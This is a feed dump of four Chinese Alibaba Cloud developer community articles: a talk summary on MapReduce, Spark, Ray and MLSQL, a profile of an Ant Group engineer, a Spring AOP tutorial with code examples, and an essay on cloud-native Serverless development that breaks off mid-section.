                  看数据与机器学习交互接口发展-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文章由阿里云社群直播视频整理和而来。
                  讲师:祝威廉,资深数据架构,11年研发经验,同时维护和开发多个开源项目。

                  Stage1:分布式编程发展历程

                  1.MapReduce时代

                  大数据最开始的样子:MR(MR指:mapreduce,后文简称MR)在大数据领域的地位举足轻重,就不再赘述了。下面是一段使用MR编写的WordCount代码:

                  image.png

                  直观上看,这段代码粗糙,暴力且麻烦。在MR的初期,想要提交像如此简单的功能的代码,所需要的Jar包就有11个之多而且还有这么多的代码量,可想而知如果要搞一些复杂的需求与骚操作,简直是要累吐我这样的数据搬运工了。

                  当然我们MR的一个较大的弊端是用Java编写代码,又因为Java的表达能力相对较弱,这应该算是一个较大的短板。

                  MR时代我们会横向拓展机器,这是一个在当时比较新颖的理念,我们在横向拓展是并不要求机器的性能,项目初期,可以用尽量低的成本,用低性能且多数量的机器来支撑起我们的业务,也是很值得鼓吹的。当我们已现如今的知识储备与经验会看当时的想法,就会觉得它好low。就如同一个哲人曾经说过,今天的你如果没有觉得昨天的你很沙雕,那么你就没有进步。

                  2.Spark

                  技术是不断的进步的,上文我们说到MR是落后的,那么替代MR的就是我们接下来说到的Spark。用spark中的RDD(Resilient Distributed Dataset)来实现wordcount代码如下:

                  image.png

                  用了两行代码就替代了MR上面冗长的代码,简单且接近单机编程,spark都会有一个sc的入口,来进行对应的api调用。另一个优点就是不必如MR一般必须要在集群环境上进行调试没有很好地额交互性,spark是基于scala编写的,这里我们叫(spark-shell)也就可以边编写代码边调试查看效果,类似于python的notebook,给予了我们开发很大的帮助,且有了很多新的理念。spark还支持多语言编程,除了原生的scala,还支持python,Java等。

                  3.Ray

                  Ray是一个新的大数据平台:

                  image.png

                  看下上面的代码,首先init()方法会连接一个已有的集群,如果没有的话会自己启动一个集群。然后我们创建一个方法或者一个class,我们加上一个annotation标注这个方法为可以远程调用的。之后在调用的时候,其实是通过调用里面的remote方法。然后通过ray.get(futures)拉起一个多线程来跑程序。

                  Ray已经是非常非常接近单机编程,支持所见即所得,简单易用,原生支持python,可以很好的与AI整合,Ray为我们提供了更小的侵入性,更简单的代码实现。

                  蚂蚁金服提供了Java支持,可以通过Java来编写上面的代码

                  4.分布式发展历史总结

                  感性总结
                  1.MR/Spark 都是原生支持Java/Scala系的,Ray开始原生支持Python。

                  2.限制越来越少,MR要求你实现接口,Spark要求你从sparSession算子开始,Ray则只需要你定义函数/class的时候打个远程标记(另外还可以配置资源)。

                  3.启动延迟越来越低,可直接interpreter执行。

                  问题:平台变迁到底是什么东西在变化?
                  如下图:

                  image.png
                  image.png

                  基于以上图片我们可以看到一个趋势就是:Java与scala是MR与RDD的主力语言,python是AI的主力语言,大数据领域是Java与scala,AI则是python。Java与scala相对来说是面向平台,python则是面向用户。sql将会成为数据的主力。

                  问题:Ray是否会取代Spark吗?
                  首先分别了解一下这两个平台的架构:

                  image.png

                  通过对两个平台的对比分析,我们可以看出,他们两个是并列存在,目前并不存在谁取代谁的趋势。

                  核心总结:

                  1)Ray的python/java支持是并列的,互不影响。Spark的Python AP1是需要通过Java API的。

                  2)两者都分成了框架/应用,分布式编程系统分两个层(RDD==Ray Core)

                  3)Ray上的Python API自前主要面向机器学习,Java API还是面向传统的流,批等。

                  4)你可以基于Ray Java API实现类似现在的Flink APl,SQL执行引擎等,并且复用已有的大数据生态。

                  小结论:

                  1)两者体系结构类似。

                  2)Ray Core/RDD 都可以实现复杂的框架或者应用。

                  3)Ray可以实现Spark的所有功能,甚至实现一模一样的上层API(比如DataFrame等,甚至能复用更上一层的库比如MLL1b)。

                  4)Ray Core之上可以并行运行两套生态体系(Al,大数据)

                  那么到底能不能取代呢?理论上是可以的,但是还要看实际生态发展趋势。Ray可以做到All in one,会不会替代就要看Ray的发展了。

                  Stage2:Spark API交互发展历程

                  交互实际就是API,由下图来看一下Spark api演化

                  image.png

                  演化总结:

                  1)数据处理本质是集合操作。

                  2)SQL是集合操作语言的典范。

                  3)DataFrame/DataSet 是SQL通用语言服本。

                  4)DF/SQL是数据处理的事实标准。

                  5)Python可以写DF/DS,调用SQL,同时还可以支持机器学习学习各种库,所以Python语言成为王道。

                  整个API发战方向:

                  1)DataFrame/DataSet on python。

                  2)SQL。

                  为什么会有这样的方向?
                  1)数据处理本质是集合操作。

                  2)SQL/DF 易于无感知性能优化,可扩展性也还好。

                  3)Python作为C/C++的wrapper,同时是所有语音里学习成本最低的,非常适合做交互。

                  Stage3:从Application到Service突破一些常见模式

                  分布式编程的趋势:
                  1.越来越简单,越来越靠近单机编程。

                  2.执行延迟越来越低。

                  spark的两种运行模式:

                  1.提交spark程序到Yarn/k8s上,运行完成后结束就退出 Application模式。

                  2.Spark作为常驻程序,通过Thrift/Rest等接口提交任务 Service模式。

                  Ray只有一个模式:
                  service模式。

                  service模式的好处:

                  1)任务提交快(无进程申请,初始化等开销)。

                  2)执行速度快(AdHoc即席查询查询)。

                  3)负载均衡,集群的集群什么的都可以一起上。

                  4)满足数据分析如报表需求。

                  Service模式是一种进步。

                  Stage4:MLSQL是如何集大成,成为最好的分布式编程平台

                  MLSQL架构图:

                  image.png

                  MLSQL将会结合Spark以及Ray。

                  MLSQL代码示例:

                  image.png

                  MLSQL语言组成:

                  image.png

                  1.SQL 拓展版sql。

                  2.命令行 语法糖,本质也是sql。

                  3.python 内嵌于sql。

                  为什么要一个新语言?
                  1)算法-》80%的代码时SQL,20%的代码时Python。

                  2)研发,产品运营,分析师-》100%SQL(部分拓展使用Java/Scala)。

                  因为要让SQL成为头等公民,那么也就导致MLSQL应运而生。

                  一段典型的MLSQL脚本:

                  image.png

                  Java/Scala可以写SQL函数:

                  image.png

                  MLSQL特点:

                  1)简单-》SQL/命令行是一等公民,兼顾灵活可内嵌Python/Java/Scala。

                  2)内置权限=》 语言级别支持权限授权,一切资源都会抽象成表,精确到字段控制。

                  3)生态-》 可支持Spark/Ray之上的所有生态。

                  最后的建议:

                  1)请用Service模式。

                  2)分布式编程平台,Ray是趋势,但Spark生态够它继续辉煌。

                  3)Ray成为机器学习的Spark。

                  4)数据API标准是SQL(DataFrame/DataSet),Al是Python。

                  5)MLSQL作为一门新的面向算法和机器学习的语言,解释执行,内嵌权限,极度简化了大数据和A的应用们。

                  ]]>
                  蚂蚁资深技术专家刘晓莹十年支付宝回忆录-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

                  当“母亲”、“coding”、“技术Leader”的标签同时存在于一个人身上,会带来怎样不可预知的化学反应?母亲节来临之际,我们特地采访了“蚁龄”十年的资深技术专家刘晓莹,和她聊聊她在蚂蚁的这些年以及她的“初母亲体验”。

                  刘晓莹不急不慢地回答着我们的问题,一张一弛收放自如,谈笑间无不透露着“优雅”二字。

                  在讨论工作的问题上,她像一个拥有太多细致观察的过来人,颇有条理地讲述着这十年她在蚂蚁的成长史;聊起自己的孩子时,她时而笑着与我们分享小孩在生活中给她带来的欢乐,时而严肃地谈论一些关于小孩教育的问题;聊到业余生活时,她又津津乐道地和我们说起她的瑜伽爱好和十多年养兰史……

                  抛开蚂蚁资深技术高管的光芒,眼前的刘晓莹,和天下所有母亲别无二致。

                  师兄在前,后浪可鉴

                  2010年的五四青年节, 30名应届毕业生通过校招近卫军加入了蚂蚁,刘晓莹是当年那批为数不多的同学之一。

                  001.jpg

                  2010年的技术圈,女程序员还非常罕见,而爱coding且擅长coding的女同学,更是凤毛麟角。但刘晓莹不一样,近卫军培训结束后,刘晓莹和其中的11人脱颖而出,组成了一支代号“A大队”的特殊队伍。

                  随后这支“A大队”空降到蚂蚁“二代技术架构”的pay拆分项目组,刘晓莹承担了从原来老的架构中拆出当时的集团担保交易和外部商户交易两个系统,时间为4个月。

                  项目组给刘晓莹分配了师兄后,刘晓莹就很兴奋地投入到学业务、写代码中去了。那段时间,大家都几乎住在了公司,唯一的目标就是——4个月后见结果。

                  刘晓莹从未想过,来蚂蚁做的第一个任务,就给她的十年蚂蚁coding路上了最宝贵的一课。当时,刘晓莹手拿着花了很多时间、反复测试过的coding自信满满地去找师兄CR(代码review),心想着应该很快就能通过,回家睡一觉后第二天就可以上线。没想到检查完后,师兄来了一句:“这扩展性不行得重构。”

                  新人刘晓莹心里有点难过,也有点不服,试着跟师兄说:“能不能先发上去,这样可以给我们新老系统切流争取更多时间。”现在的她回忆起当时的侥幸心理,刘晓莹大笑说自己当时真是有点“初生牛犊不怕虎”、“无知者无畏”的意味。

                  晚上,师兄对刘晓莹说:“你先回去吧,我再想想。”这一句“我再想想”的实际情况是当天晚上师兄通宵达旦地重构了整个拓展性部分。第二天一早刘晓莹来到公司发现师兄还在工位上敲着代码,对刘晓莹开口的第一句话就是:“已经重构得差不多了,你就按照这个模板,把剩下的一些事情做完,应该很快就可以上线了。”

                  听到这句话,刘晓莹顿时就泪崩了。此时的师兄眼睛里布满了红血丝,当时所有人都处于争分夺秒打仗的节奏里,师兄竟然愿意牺牲自己的睡眠时间去帮她重构代码。

                  这件事让初入蚂蚁的刘晓莹特别震撼,她的师兄用自己的行动让她感受到什么叫支付宝说的“知托付”,也让她深深地感受到了蚂蚁的师兄文化。鉴于此,直至今日,不管什么情况下刘晓莹都会格外关注代码的品质、细节。

                  此后,刘晓莹还暗暗立下了一个flag:“要做交易资金问题的owner,要让别人遇到资金问题时候第一个想到找我,不管这个事情是不是我的职责,我就要成为问题终结者。”

                  她一步步坚定地实现着自己最初的目标, 交易数据库拆分、交易failover、交易号升位、交易去O等一系列项目,靠谱之余还有惊喜交付。

                  就这样,在每一件或大或小的事情中,刘晓莹打造起了自己的品牌。虽然她已经很久不做交易业务,但很多同学遇到相应的问题还是会找刘晓莹咨询,刘晓莹也会像当初以身作则的师兄一样将自己的经验传递给其他人。

                  从享受一个人的coding到带着团队拿结果

                  深爱coding的刘晓莹一开始比较回避做技术Leader。她已经习惯了自己解决问题,一想到要占用coding时间去做研发资源协调、去和产品等多部门沟通,她是比较抗拒的。

                  2014年,碍于组织的期待,刘晓莹也没有抗拒到底。经过几个月的适应,刘晓莹慢慢发现带着团队拿结果也非常有成就感。过程中,团队使刘晓莹让自己拥有了很强的自驱力,她保持着强烈的好奇心和学习力,不断反思三个不同:今年和去年做的事有什么不同?我团队做的事有什么不同?我和我团队做事的方式又有什么不同?

                  这个过程中,刘晓莹和团队对自己的目标更加笃定了,步伐也越来越一致。

                  002.jpg

                  今年的新财年规划已经开始,作为Leader,刘晓莹也给自己的团队制定了目标,她从业务视角出发,希望自己所带领的技术团队既要能成就业务,也要能变革技术。

                  2010年加入蚂蚁,2014年开始做Leader,刘晓莹在蚂蚁一呆就是十年。

                  这十年里,刘晓莹带领了交易团队、支付团队和现在的金融网络团队,现在他们继续往更大的梦想一步步前进着。

                  Coding之外,她是“纯粹的母亲”和“生活爱好者”

                  去年,刘晓莹成为了母亲。

                  聊到女儿,她总是开心得合不拢嘴:“小孩真的非常有趣,现在她能叫妈妈了。有时候教女儿敲敲键盘,我们会尽量去鼓励做一些激发她求知欲的小游戏,有时候看着她会很好奇自己做的一些事情,真的觉得很有意思。”

                  休完产假后,刘晓莹立马就调整了自己的状态回到了职场。于是,每天有两个阵地的人在等着她,白天是团队的同事,晚上是家里的小孩。

                  初带娃时,她也经历过家庭和工作无法兼顾的境地,现在她已经平衡得比较好。在刘晓莹眼里,做妈妈和她的coding路一样,都有一个过程。

                  刘晓莹说现在的生活两点一线比较多,关于切换在家做母亲和在团队做技术leader两者之间的角色,她有一个诀窍就是“专心”。晚上回到家她会迫使自己放下手机、全身心一切去陪伴孩子,去陪她玩乐高、读绘本、逗她玩,白天在团队里就全身心投入到工作中,在团队中拥抱好奇心和学习力,和大家一起追赶目标。

                  工作的繁忙和生活的琐碎并没有打乱刘晓莹对吊兰的照看,以及周末在家做瑜伽的习惯。

                  她对吊兰独有情钟,从大学开始有了养吊兰的爱好,在她眼里,吊兰是一种非常特别的植株,花开花谢都能给她带来新生的喜悦和松弛感。

                  季节一到,刘晓莹就会给家里的一排吊兰剃头,把它们剪到只剩下10公分左右,看着它们再重新生发出来,她说保持一些自己持久的习惯,这会让她找到一个情绪释放的窗口,也会看到一种新的希望,这也是她自己经历这个过程的感受。

                  十年阿里路,演绎女性独立个体

                  我们常常会有这样的印象:诸多影视作品里,女高管是叱咤风云的女侠人设,从穿着到谈吐,她们或雷厉风行,或煞气逼人;女程序员则多为蓬头垢面、不修边幅;如果是生育过的女性,还常常被理所当然地被套上“母职”的角色,在很多领域都或多或少地遭受着“母职惩罚”。

                  而同时拥有这三重身份的蚂蚁技术高P刘晓莹,游刃有余地切换于各个角色之间,一一击破了这些刻板偏见。

                  003.jpg

                  技术圈里曾流行一个话题“女性适合做程序员吗?”,如今,这个问题又有了进一步的演变:“女程序员在工作中的主要作用是调节氛围吗?”

                  这个问题,在刘晓莹这里是否定的。

                  作为技术Leader,刘晓莹每年都会鼓励团队招一定量的女程序员,多年的实战经验让刘晓莹对女程序员在团队的作用有了新的看法,她认为女程序员在团队里可以做一块很好的拼图,女生对项目的拆解和评估往往会更加细致,同时她们往往具有较高的同理心,对“纯男团”的团队在某些问题处理上过度理性也是一种互补。

                  刘晓莹说蚂蚁的好多技术团队加入女程序员后效率都大大提升了,这中间除了女生的阴柔面会调节男生居多的团队氛围外,良好的沟通能力也是女程序员的一大优势。

                  代码界有句至理名言:“Talk is cheap,show me the code。”刘晓莹的这番话似乎打破了这句至理名言的边界。对于这一点,她本人就是最好的典范。

                  ]]>
                  SpringAOP-什么是面向切面编程?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 一.什么是面向切面编程
                  • AOP简介

                  AOP为Aspect Oriented Programming的缩写,意为:面向切面编程,通过预编译方式和运行期间动态代理实现程序功能的统一维护的一种技术。

                  • 为什么使用AOP编程范式?

                  分离功能性需求和非功能性需求

                  集中处理某一关注点

                  侵入性少,增强代码可读性及可维护性

                  • AOP应用场景

                  权限控制、缓存控制、事务控制、分布式追踪、异常处理等

                  • 举个栗子

                  如果你要在Service层的某些特定方法需加上权限验证,使用OOP思想的话只能在方法内部添加验证身份的代码,例如

                  public void insert() {
                    checkUserAdmin.check();    //加入权限验证方法
                    repository.insert();        //调用dao层插入数据库一条记录
                  }

                  这样看起来功能是实现了,但如果service层有很多insert和delete方法呢?这样插入代码的方式不易于我们去统一管理,且修改了原代码,具有侵入性。

                  那么使用了AOP之后呢?你可以建一个切面类,对要进行权限验证的方法进行切入。

                  即在程序运行时,动态地将代码切入到类的指定方法或位置上的思想,就是面向切面编程。

                  二.AOP常用术语

                  • 要想使用面向对象编程的思想,首先要了解几个专有名词

                  • Target:目标类,即需要被代理的类。例如:UserService

                  • Joinpoint(连接点):所谓连接点是指那些可能被拦截到的方法。例如:所有的方法

                  • PointCut 切入点:已经被增强的连接点。例如:addUser()

                  • Advice 通知/增强,增强代码。例如:after、before

                  • Weaving(织入):是指把增强advice应用到目标对象target来创建新的代理对象proxy的过程.

                  • Proxy 代理类

                  • Aspect(切面): 是切入点pointcut和通知advice的结合

                  三.Advice-五种增强方式

                  • 例如在执行某个特定方法的时候,我们可以选择不同的增强方式(如前置通知/增强,在方法运行前执行),达到我们织入后的不同效果。

                  前置通知:在我们执行目标方法之前运行(@Before)

                  @Pointcut("within(com.example.demo.Service.*)")
                      public void matchType(){}
                  
                      @Before("matchType()")    //可在此加入JoinPoint打印切点信息
                      public void before(JoinPoint joinPoint){
                          System.out.println("------【前置通知】------" + joinPoint);
                      }

                  后置通知:在我们目标方法运行结束之后 ,不管有没有异常(@After)

                  @After(value="execution(* com.example.aspectJ.demo1.ProductDao.findAll(..))")
                      public void after(){
                          System.out.println("最终通知==================");

                  返回通知:在我们的目标方法正常返回值后运行(@AfterReturning)

                  @AfterReturning(value="execution(* com.example.aspectJ.demo1.ProductDao.update(..))" ,returning = "result")
                      public void afterReturning(Object result){    //通过returning属性,定义方法返回值作为参数
                          System.out.println("后置通知========="+result);
                      }

                  异常通知:在我们的目标方法出现异常后运行(@AfterThrowing)

                  //通过设置throwing属性,可以设置发生异常对象参数
                  @AfterThrowing(value = "execution(* com.example.aspectJ.demo1.ProductDao.findOne(..))",throwing = "e")
                      public void afterThrowing(Throwable e){
                          System.out.println("抛出异常通知"+e.getMessage());
                      }

                  环绕通知:动态代理, 需要手动执行joinPoint.procced()(其实就是执行我们的目标方法执行之前相当于前置通知, 执行之后就相当于我们后置通知(@Around)

                  @Around(value = "execution(* com.example.aspectJ.demo1.ProductDao.delete(..))")
                    public Object around(ProceedingJoinPoint joinPoint) throws Throwable {
                  
                          System.out.println("环绕前通知");
                          Object obj = joinPoint.proceed(); //执行目标方法
                          System.out.println("环绕后通知");
                          return obj;
                    }

                  四.SpringAOP使用详解

                  切面表达式

                  • 下面是一张思维导图总结

                  p1-切面表达式总结

                  excution表达式

                  • execution(

                    • 修饰符pattern
                    • 返回值pattern
                    • 描述包名
                    • 方法名(参数)
                    • 方法抛出异常pattern

                  )

                  • 代码示例

                    @Pointcut("execution(public * com.example.controller.*Controller.*(..))")
                    public void match(){}
                    
                    @Before("match()")
                    public void before(){
                      //前置通知...
                    }

                  within表达式

                  • 代码示例

                    //匹配StudentService类里所有方法
                    @Pointcut("within(com.example.service.StudentService)")
                    public void matchType(){}
                    
                    //匹配com.example包及子包下所有类方法
                    @Pointcut("within(com.example..*)")
                    public void matchPackage(){}

                  对象匹配

                  • 代码示例

                    /*public class serviceImpl implements service*/
                    
                    //匹配AOP对象的目标对象为指定类型方法,即serviceImpl的aop代理对象方法
                    @Pointcut("this(com.example.serviceImpl)")
                    public void thisDemo(){}
                    
                    //匹配实现service接口的目标对象(非aop代理后的对象)方法,这里指的就是serviceImpl的方法
                    @Pointcut("target(com.example.service)")
                    public void targetDemo(){}
                    
                    //匹配所有以Service结尾的bean中方法
                    @Pointcut("bean(*Service)")
                    public void beanDemo(){}
                    

                  参数匹配

                  • 代码示例

                    //匹配任何以find开头且只有一个Long参数的方法
                    @Pointcut("execution(* *..find*(Long))")
                    public void argsDemo1(){}
                    
                    //匹配任何只有一个Long参数的方法
                    @Pointcut("args(Long)")
                    public void argsDemo2(){}
                    
                    //匹配任何以find开头且第一个参数为Long的方法
                    @Pointcut("execution(* *..find*(Long,..))")
                    public void argsDemo3(){}
                    
                    //匹配第一个参数为Long的方法
                    @Pointcut("args(Long,..)")
                    public void argsDemo4(){}
                    

                  注解匹配

                  • 代码示例

                    //匹配方法注解有@AdminOnly的方法
                    @Pointcut("@annotation(com.example.security.AdminOnly)")
                    public void annoDemo(){}
                    
                    //匹配注解有@Test1的类下所有方法,要求注解的RetentionPolicy级别为CLASS
                    @Pointcut("@within(com.example.annotation.Test1)")
                    public void annoWithinDemo(){}
                    
                    //匹配注解有@Test2类下所有方法,要求注解的RetentionPolicy级别为RUNTIME
                    @Pointcut("@target(com.example.repository.Test2)")
                    public void annoTargetDemo(){}
                    
                    //匹配传入参数类具有@Test3的注解的方法(例如student实体类有注解@Test3,只要方法传入student类就会被拦截)
                    @Pointcut("@args(org.example.repository.Test3)")
                    public void annoArgsDemo(){}
                    

                  ​ 至于AOP的实现原理,这里暂时不讲,有兴趣的可以去了解下jdk的动态代理,AOP就是基于此实现的。

                  更多内容,欢迎访问我的:

                  515code博客

                  bilibili视频

                  Github

                  ]]>
                  我心中的云时代原生开发环境-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png

                  缘起,为了心中的“云+端”

                  2015 年,一个偶然的机会,我从淘宝来到了阿里云。

                  那个时候正是阿里云全面商业化的前夕,我当时正在淘宝前端技术部,与 @圆心 @元彦一起,跟手淘客户端的同学共同完成了前端代码 “Write once, Run anywhere” 的 POC(概念验证),前端 All in 无线的序幕即将拉开。

                  一天,@叔度找到我,跟我分享了他眼中的云计算未来与现在的痛苦(其实就是想拉我过去帮他做控制台 [手动狗头])。我和叔度是在做性能对赌项目中结下的友谊,而且对于推崇颜值即正义的我来说,叔度也是近乎男神的存在,我愿意继续往下听。后来我们一起再跟 @老石头聊完后,我心里有了一个大概的概念,云计算正在开始改变中国,而基础设施、阿里云的用户入口、控制台,还停留在内部孵化的状态,无论是从效率还是用户体验上来看,对阿里云接下来的商业化都是个巨大的阻碍。

                  最终我决定加入阿里云的思考是这样的,云计算如果是未来社会和商业的基础设施,那未来的应用开发应该都会是基于 “云 + 端” 的模式,服务在云上,应用和交互在用户侧,这对前端行业来说,是一种开发模式的演进,对一个前端同学来说,是充满了想象与挑战的,我们需要开始去探索这个领域。现在眼前的机会不正是前端和云结合的契机吗?我跟 @圆心沟通后,很快得到了支持,并且给了我很多建议,我想,这大概就是英雄所见略同吧。

                  让云计算开箱即用

                  为了引导团队的方向,也为了不被现实的困难压力以及执行过程的琐碎导致迷失,我带领我团队的同学共同确定了我们团队的使命,让云计算开箱即用!

                  初心很简单,让用户能高效地在云计算的入口完成他们的任务。

                  随着规划的推进,我们逐渐收敛了阿里云的控制台技术体系,不仅成功支撑了阿里云一方、二方产品在 7 大市场渠道的极速扩张,也逐渐统一了用户体验,这就是今天阿里云的 OneConsole 控制台中台体系。OneConsole 的诞生初期,我们曾做了一个决策,所有控制台的功能透出,只接受开放的 API,也就是说,我们官方做的控制台,理论上,我们的客户也是完全能基于同样的 Open API 去实现的。也正是这个决策,我对 “让云计算开箱即用” 有了新的理解。

                  当我们自己用阿里云的 Open API 做控制台开发的时候,我们遇到的第一个问题就是,我们没法快速弄清楚某个云产品有哪些 API,每个 API 是什么功能,输入输出是怎样的;第二个问题是,我们没法调试这些 API,因为我们使用的 Open API,都是真实线上服务的云产品,每个参与开发的同学都需要有帐号,都需要购买。为了解决这些问题,我们孵化了 API Explorer,孵化了 API Mocks。

                  当我们的产品从十几款扩张到两百多款,曾经的几个大产品也变成了几条大产品线,大家又面临一个问题,面向端的开发要聚合越来越多的云产品原子 API 才能拼接出一个 UI 所需的数据,同学们迷失在了 Open API 的海洋,虽然后来我们又孵化了一个新的工具,逻辑编排去解决这个问题,但这也让我再次思考。

                  什么是云计算的开箱即用?

                  要回答这个问题,先要对 "谁用" 保持一致的理解。之前刚做控制台业务的时候,我会认为,这个 “谁”,是使用控制台的用户,但是自从我们开发控制台要用云产品的 Open API 之后,我发现,开发态的我们,才是这个 “谁”。可以将阿里云控制台理解为我们基于阿里云的能力创造出来的一个 SaaS,在控制台操作使用的用户其实是这个 SaaS 的客户,只不过,这个 SaaS 背后管理的也是阿里云的资源而已。

                  我目前所理解的,云计算的开箱即用,面对的应该是广大的开发者。他们希望利用云计算去更好地创造自己的技术价值、公司的商业价值、社会的普惠价值,而云计算正是可以帮助他们做的更好的载体。

                  说到云计算应用的现状,在撰写此文的时刻,我一直有一个类比,就是计算机的 DIY 时代。

                  人类和其他物种的重要区别就是能够制造并利用工具。计算机作为一种高科技的技术产品,极大地改变了人类的工作和生活方式,今天,它以不同的形态渗透在人类世界的方方面面,医生看诊、教师备课、商人经营、工厂生产,每个行业都在利用计算机帮助自己更好地工作。

                  普遍情况下,人们要做的就是买一台预装了操作系统的电脑,动手安装上自己需要的软件,就可以开始工作了。而在二十年前,这个过程是这样的:人们去到电脑城,从学习采购配件开始,然后再组装、安装操作系统、安装应用软件、开始工作。

                  1. 电脑有主机和外设
                  2. 主机有:主板、电源、CPU、风扇、硬盘、光驱、内存、显卡、声卡、网卡、数据线、电源线、机箱这么多配件构成
                  3. 外设有:鼠标、键盘、显示器、音箱、打印机等等
                  4. 把这些配件逐个安装连接起来
                  5. 通电,期望不要听到主板报警音
                  6. 进入到 CMOS Setup 做一些硬件的配置,比如系统启动引导顺序之类的
                  7. 开始安装操作系统,又是一个专业领域,学会了以后,又多一个征服小姐姐、小哥哥又或是长辈邻居的硬核技术 [手动狗头]
                  8. 开始安装自己真正想要应用的软件
                  9. 开始工作?再装几个游戏先玩一下吧 [手动狗头]

                  我也经历过 DIY 电脑的年代,那个时候是一种什么感觉?自己开始只是想买台电脑学编程,结果选配电脑的时候就想进入了一个新的知识的海洋,不断接触和学习着新的知识,CPU 要怎么选,超频要怎么做,对应的散热要怎么做,等我最终确定了采购清单,一个月已经过去了。因为学的太认真,有一段时间我甚至在电脑城帮人打起了暑期工,帮忙组装电脑,我想知道有跟我类似经历的同学吗?[手动狗头]

                  回过头来看今天的云计算,和二十年前 DIY 电脑的年代何其相似。人们期望借助高科技云计算帮助自己更好地工作和生活,于是,大家不得不开始在云计算的知识海洋努力地学习:

                  1. 阿里云原来有这么多云产品啊,数一数,两三百款
                  2. 服务器、存储、数据库,每个类型下面又有十几款产品,得好好想想选哪一个
                  3. 同一个产品还有不同的规格,不同的规格我能看到价格不一样
                  4. 所以,我到底该怎么选呢?还是随便买一台服务器,然后把我的应用、数据库、文件都塞里边吧

                  这就是刚接触云计算的开发者的普遍真实写照。

                  作为云厂商,我们的愿景是成为社会和商业的基础设施、水电煤、成为普惠科技,但我们离真正普惠还有一段距离,至少要做到跟今天的计算机之于社会,人们不再需要去学习了解电脑的构成,只有跨过了 DIY 这个阶段,让真正想通过云计算去创造价值的开发群体能够无需关心云计算的基础底层概念,可以聚焦自己的业务开发,在业务中需要云计算帮助的时候,我们能以近乎无感的方式提供服务,这就是我心中认为的云计算的开箱即用。

                  这看起来很难,直到函数计算的升温,CNCF 为代表的云原生概念的普及,让我看到了希望,我开始了持续的搬砖。

                  在云原生的路径上探索

                  星星之火,可以燎原。随着诸如 LeanCloud 商业化、阿里云函数计算的发布,让我内心的热火彻底被点燃,类似 LeanCloud 背后的 BaaS(Backend as a Service,虽然后端即服务的概念早就有了,但现在 BaaS 已经被更多人认为是 Blockchain as a Service,真是世风日下 [手动狗头])概念,让我看到了云计算开箱即用的可能;函数计算的支持不同开发语言的自定义运行时,支持函数的实时弹性,让我看到了云计算开箱即用的可能。

                  试想,如果未来的应用开发,开发者通过函数计算去承载自己的业务逻辑,计算、存储、数据库等能力通过 Backend as a Service 的方式去获取,是不是就意味着开发者已经大致具备我们所设想的云计算的开箱即用模型呢:让真正想通过云计算去创造价值的开发群体能够无需关心云计算的基础底层概念,可以聚焦自己的业务开发,在业务中需要云计算帮助的时候,我们能以近乎无感的方式提供服务!

                  基于对这种趋势的预判,我开始在云原生的路径上探索。

                  1 自身业务领域的探索

                  2018 年作为阿里云控制台发展开放元年,越来越多的控制台后端统一到 OneConsole 的同时,我们也发现很多业务定制化要求高,部分功能没办法使用 Open API 开放出去,比如 HOME、阿里云 APP 等,而这些非标、强定制化的应用,开发者一般都对云上商业化流程不熟,对云上运维不熟,只能负责好自己的应用逻辑,这正是一个很合适的 Serverless 平台场景。我们对 OneConsole 进行了 Serverless 微应用升级,让 OneConsole 可定制,让上云更容易。在前端,我们也进一步扩大逻辑编排在的控制台前端开发的价值,形成了一套[控制台 SFF(Serverless for frontend)的研发模式,进一步解放前端生产力,让前端从某些繁重的、低水平的重复劳动中释放出来,能够有更多的机会和时间深入到业务中和前端领域的深水区,做出世界一流的产品和技术。

                  2 集团前端委员会的探索

                  2018 年初,@圆心带领集团前端委员会及部分 P8 同学共创,我们共同去看到和布局未来的前端发展方向,我分享了对 “云 + 端” Serverless 方向的理解和看法,随后也得到了大家普遍的共鸣,大家一致认为,这是前端应该去提前布局的方向,从此,由我来牵头,正式开启了集团前端委员会 “云 + 端” Serverless 的技术方向建设之路。

                  3 巧妇难为无米之炊

                  项目启动后我们发现集团内根本无 Serverless 资源可用,于是我们花了大半年的时间在集团内布道,推动阿里云 ECI、Function Compute 部署到集团混合云环境,推动 CSE fn 的诞生以及 Aone 底座的改造,直到 2019 年上半年,我们才正式 KO 了阿里经济体前端委员会 Serverless 研发体系共建项目,并在 2019 年的双十一,伴随经济体核心业务 100% 上云,经济体前端实践 Serverless 研发模式升级也经历了它的第一次大考,全部试点业务都稳稳地经受住了考验,验证了项目组的共建成果,而接下来就是展示资源利用率以及研发效率提升的关键阶段!

                  4 开放社区的布道

                  2018 年至今,我一共参加了大概 10 场开放社区的分享,相对经济体内的 Serverless 资源匮乏,开放的社区生态完全可以拥抱阿里云等公共云资源。

                  5 开放社区我们看什么

                  看开发者关注什么,看雇主关注什么。在普遍的 web 应用开发中,一个最精简的研发团队都需要前端工程师、移动端工程师、后端工程师、运维工程师,按照 2018 年 Stack overflow 做的全球开发者调查报告开发者年薪数据来看,一个最小研发团队,上述 4 个岗位 * 2(最小 Backup)= 8 人,仅薪资部分的投入就需要美元,而这种现状完全有机会通过云端研发模式去重新定义:一个最小研发团队的构成可能只需要个云端应用开发工程师,假设这个工程师的年薪给到之前个工种当中最高的档位,即 74,000 美元,两个也就是 148,000 美元,两个研发团队单位时间内的交付是等价的。对研发岗位而言,薪酬普遍得到了提高,对雇主而言,研发综合成本大幅降低,这就足以引起整个研发生态的升级,而这一切能发生的逻辑都在于:端开发 + 云 Serverless,使得一个擅长端开发的岗位完成所有应用逻辑的开发,该岗位并不特别擅长的应用架构、运维管理,则全部由云原生 Serverless 去弥补。

                  6 让故事变成事实

                  对云厂商而言,需要更多这样的多赢的故事,对前端岗位而言,需要这样的多赢的故事,并且,我们需要让故事变成事实!

                  自证预言,让梦想照进现实

                  回归初心,当所有的探索都得到了正向的回馈,意味着我们的方向是对的,方向对了,就不怕路远!2019 年,我开始更专注地去推动心中理想的云原生 Serverless 开发者工作平台。

                  Q:为什么是一个开发者工作平台?

                  让我们回到云计算普惠的初心,要实现最终的普惠,其路径一定会落在开发者应用,而开发者的时间都在做应用写代码,这是开发者的日常工作,我们需要出现在开发者日常工作的路径上;

                  Q:这是一个怎样的平台?它和传统研发平台有什么区别吗?

                  说到研发平台,相信大家都会立即有一些共性的思考,它应该包含组织结构、应用项目、代码托管、构建部署等功能模块,没错,这就是绝大多数传统研发平台的基本模块。

